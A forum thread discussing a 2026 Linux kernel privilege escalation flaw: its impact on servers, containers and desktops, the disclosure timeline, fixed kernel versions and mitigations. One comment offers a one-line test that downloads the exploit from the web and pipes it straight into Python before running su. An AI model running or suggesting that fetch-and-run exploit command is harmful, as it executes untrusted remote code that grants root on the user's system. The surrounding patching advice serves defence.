I've always though that the more popular linux becomes, the more vulnerabilities it will expose.
this post was submitted on 30 Apr 2026
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Basically every server runs linux already, so it's already a big target
And also "Good. If they're found they'll be patched. Worry about the ones that 'aren't' 'found.'"
Honestly, if an attacker has shell access you're toast regardless. I know you shouldn't be able to escalate privileges, but better to never let them on the machine.
Most security in industry only holds because employees have no interest in attacking, or knowledge how to attack, their employer.
Honestly, thats a really bad take. Yes obviously, you should not let attackers access the terminal, but there are linux servers that rely on multiuser operations, like Servers that are meant for terminal access, like HPC.
Then services get hosted via container these days, so even with rootless containers you get root access if you only get RCE on one service. And even if there are additional VMs for more isolation between host, you still get root on the whole VM.
Note that this is a rather narrow view of the scope of things.
Yes, the demonstrator is a python script that opens up 'su' and uses splice+this vulnerability to change it to 'just assume all privileges and become sh'.
However, it's that any process in any namespace can leverage a certain socket type and splice to effectively modify any filesystem content they want. It's easy to see how this could be part of a chained attack to, for example, replace a protected service that is firewalled off with a shell. An RCE in a service permits rewriting nginx in an entirely different container and replaces it with a shell backend of your choosing.
That 'flatpak' application on your single user system that is guarded from touching your files that aren't related? That isolation doesn't mean anything if this issue is in play.
In terms of shared systems, while it should be avoided if possible, practically speaking there's a lot of shared resources.
I don't get why I've seen so many people saying "ehh, no big deal, privilege escalation is just a fact of life".
I work for a critical, global communications infrastructure company, and it's painfully obvious that the moment someone has a foothold they could do whatever they want with some minor skill lol.
For my trixie Debian boxes I just did a normal apt upgrade, rebooted, checked the kerenel with uname -r and confirmed it was 6.12.85-1. All set!
Acronyms, initialisms, abbreviations, contractions, and other phrases which expand to something larger, that I've seen in this thread:
| Fewer Letters | More Letters |
|---|---|
| Git | Popular version control system, primarily for code |
| HTTP | Hypertext Transfer Protocol, the Web |
| LTS | Long Term Support software version |
| NAS | Network-Attached Storage |
| nginx | Popular HTTP server |
4 acronyms in this thread; the most compressed thread commented on today has 9 acronyms.
[Thread #267 for this comm, first seen 1st May 2026, 10:50] [FAQ] [Full list] [Contact] [Source code]
That's a good bot!
For a second I though this was something bad for my computer. But is mainly a server permissions issue it seems. Will patch my server when I'm home though
It affects any device that can use raw sockets in the kernel. Patch everything.
"mainly", it is a 'lower' priority for single use local computers
What do you mean? If you use Linux on your computer, it's also relevant. Any program can quietly drop a root shell from any privilege level in 10 lines of python.
This attack must be run locally. The attacker must already have user access. They can then escalate privileges using this. Meaning your box must already be compromised for this to work. Still serious, but no need to panic in most cases.
A local compromise happens more than you think
Do you have a source for how often it happens or is this conjecture? I guess this would most often happen through supply chain attacks or physical access, the first not being all that common in my understanding and the latter not being a typical threat model for a home computer. But if you have a source explaining what actually happens, I would love to read it.
There are plenty of way to get a local unprivileged shell
For instance, if you are running a old version of cups someone could chain together several vulnerabilities to gain root on your system
Having a MAC like SELinux helps to mitigate this but you still should patch as soon as possible
These are from 2024 (which means your box likely has none of these in 2026), and “the attacker has to trick a user into printing from a malicious printer server on their local network that suddenly appears on their machine” which is quite unlikely for a regular home pc. The attacker would require access to your network which would likely mean they’re inside your house so you have other problems besides privilege escalation.
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This disclosure has been rushed for the views and hype IMO, none of the big distros had fixes ready to go on this this morning.
Yea I didn't think the post was that professional. Also the "unminified" version is just the minified with more white space. It still has poor names and no explanation of the binary blob.
Looking at the binary blob, it's a payload to assume privileges as possible and exec sh. So replace su with that and the binary gets to use su's filesystem privileges without needing access to actually write it.
The vulnerability part is when the door opens to replace any file's read cache with arbitrary content. The binary payload is just an obvious example of the sort of payload that could do a ton of damage.
tbh they could have boasted even less bytes by just having everything in a zlib.decompress()
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Dumb question but... It says that patches were committed to mainline on April 1st. How would one know if their distro has already fixed this via updates or not? I run a rolling-release distro on my desktop and laptop, and usually update once every week (or two at most) so have already ran updates 2 or 3 times since the patch was deployed. Am I likely good? If I'm not, is running updates all I need to do to be good? How would I know?
You could try it
curl https://copy.fail/exp | python3 && su
Note that could prove you have it, but failure to execute does not prove yourself secure.
For example, someone reported to me that their RHEL9 system was not vulnerable based on this result. But it was because python was 3.9 and didn't have os.splice, so the demonstrator failed, but the actual issue was there.
Similarly, if '/usr/bin/su' isn't exactly there (maybe it's in /bin/su, or in /sbin/su, or /usr/sbin/su, or not there at all), the demonstrator will fail, but the kernel may still have the vulnerability, you just have to select a different victim utility (or change the cache for some other data other than an executable for other effects).
The only guaranteed fix is in the kernel. You’ll want to check your distro for the CVE. The disclosers very happily bring up all the distros affected but do not seem to have reached out to any of them to also patch. The CVE itself is still waiting for NVD analysis beyond its base score.
I’m not actively saying they did anything wrong but I am saying they’re blowing smoke about responsible disclosure.
Yeah... It seems like they only reached out to the kernel, and not to any distros...
They also disclosed after 37 days rather than the more standard 90 days for everyone to patch
They sell a vulnerability discovery program. IMO, they did this dubious responsable disclousure to get the extra marketing.
Check uname -r
If you're on 6.19.12 or newer (7.0.1 if they've already bumped to 7) you're definitely safe
For others, it looks fixed in 6.18.22 6.12.85 6.6.137 6.1.170 5.15.204
If you don't have a safe kernel,
A better solution referenced below than a module blacklist is to set initcall_blacklist=algif_aead_init in your kernel boot parameters. There is not a generic way to do this across distros, so you will need to look it up for your case
~~If you don't have the updated kernel, you can
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf and reboot.
That ensures the buggy module cannot be loaded until you have an updated kernel~~
I continue to protest against this claim. Blacklisting the kernel module does not work for a bunch of distributions including Alma, Rocky, RHEL and others because they have this module built into the kernel. There's no module to remove. You must use a syscall blacklist or similar mechanism to disable this.
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Why is the PoC obfuscated?
Probably looks more 1337 this way 🤣
There's a readable version in the issues, tho: https://github.com/theori-io/copy-fail-CVE-2026-31431/issues/54#issuecomment-4351460190
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